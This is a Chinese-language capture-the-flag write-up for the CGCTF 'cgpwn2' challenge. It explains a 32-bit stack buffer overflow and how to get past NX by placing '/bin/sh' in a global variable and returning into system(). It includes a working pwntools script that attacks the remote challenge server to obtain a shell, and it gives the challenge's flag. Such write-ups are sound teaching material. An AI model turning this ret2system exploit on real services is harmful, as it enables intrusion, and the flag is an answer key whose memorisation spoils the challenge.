CTF – CGCTF – CGpwn2

题目说明

题目来源: CGCTF

题目: cgpwn2

栈溢出 ROP 利用bbs区

解题步骤

拿到文件后先查看文件类型是32位的elf文件

检查安全机制,开启了NX,栈不给执行

使用IDA32查看伪代码,主函数没有什么东西

查看hello()函数的伪代码

上面一段感觉都没有什么用,重点在这一段

fget()比get()安全,而且缓冲区只有10byte
虽然在程序列表中找到了system()函数,但是没有/bin/sh
于是查看name和s变量的位置,发现s变量缓冲区0x26位,而name是常量,处于bbs区

所以我们可以尝试在第一个输入/bin/sh,用name常量带到bbs区,然后覆盖返回地址进入system()函数执行/bin/sh

Payload构成: 0x26位填充s变量 + 0x4位覆盖EBP + system()函数地址 + 0x4位任意返回地址 + name常量地址

写出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p = remote('111.198.29.45','49376')

name = p32(0x0804A080)
syst = p32(0x08048420)

payload = 'A'*0x26 + 'A'*0x4 + syst + 'A'*0x4 + name

p.recvline('your name')
p.sendline("/bin/sh")

p.recvline('message here')
p.sendline(payload)

p.interactive()

运行得到flag

flag:

1
cyberpeace{692eebfa32392634959edc141a1ca1c9}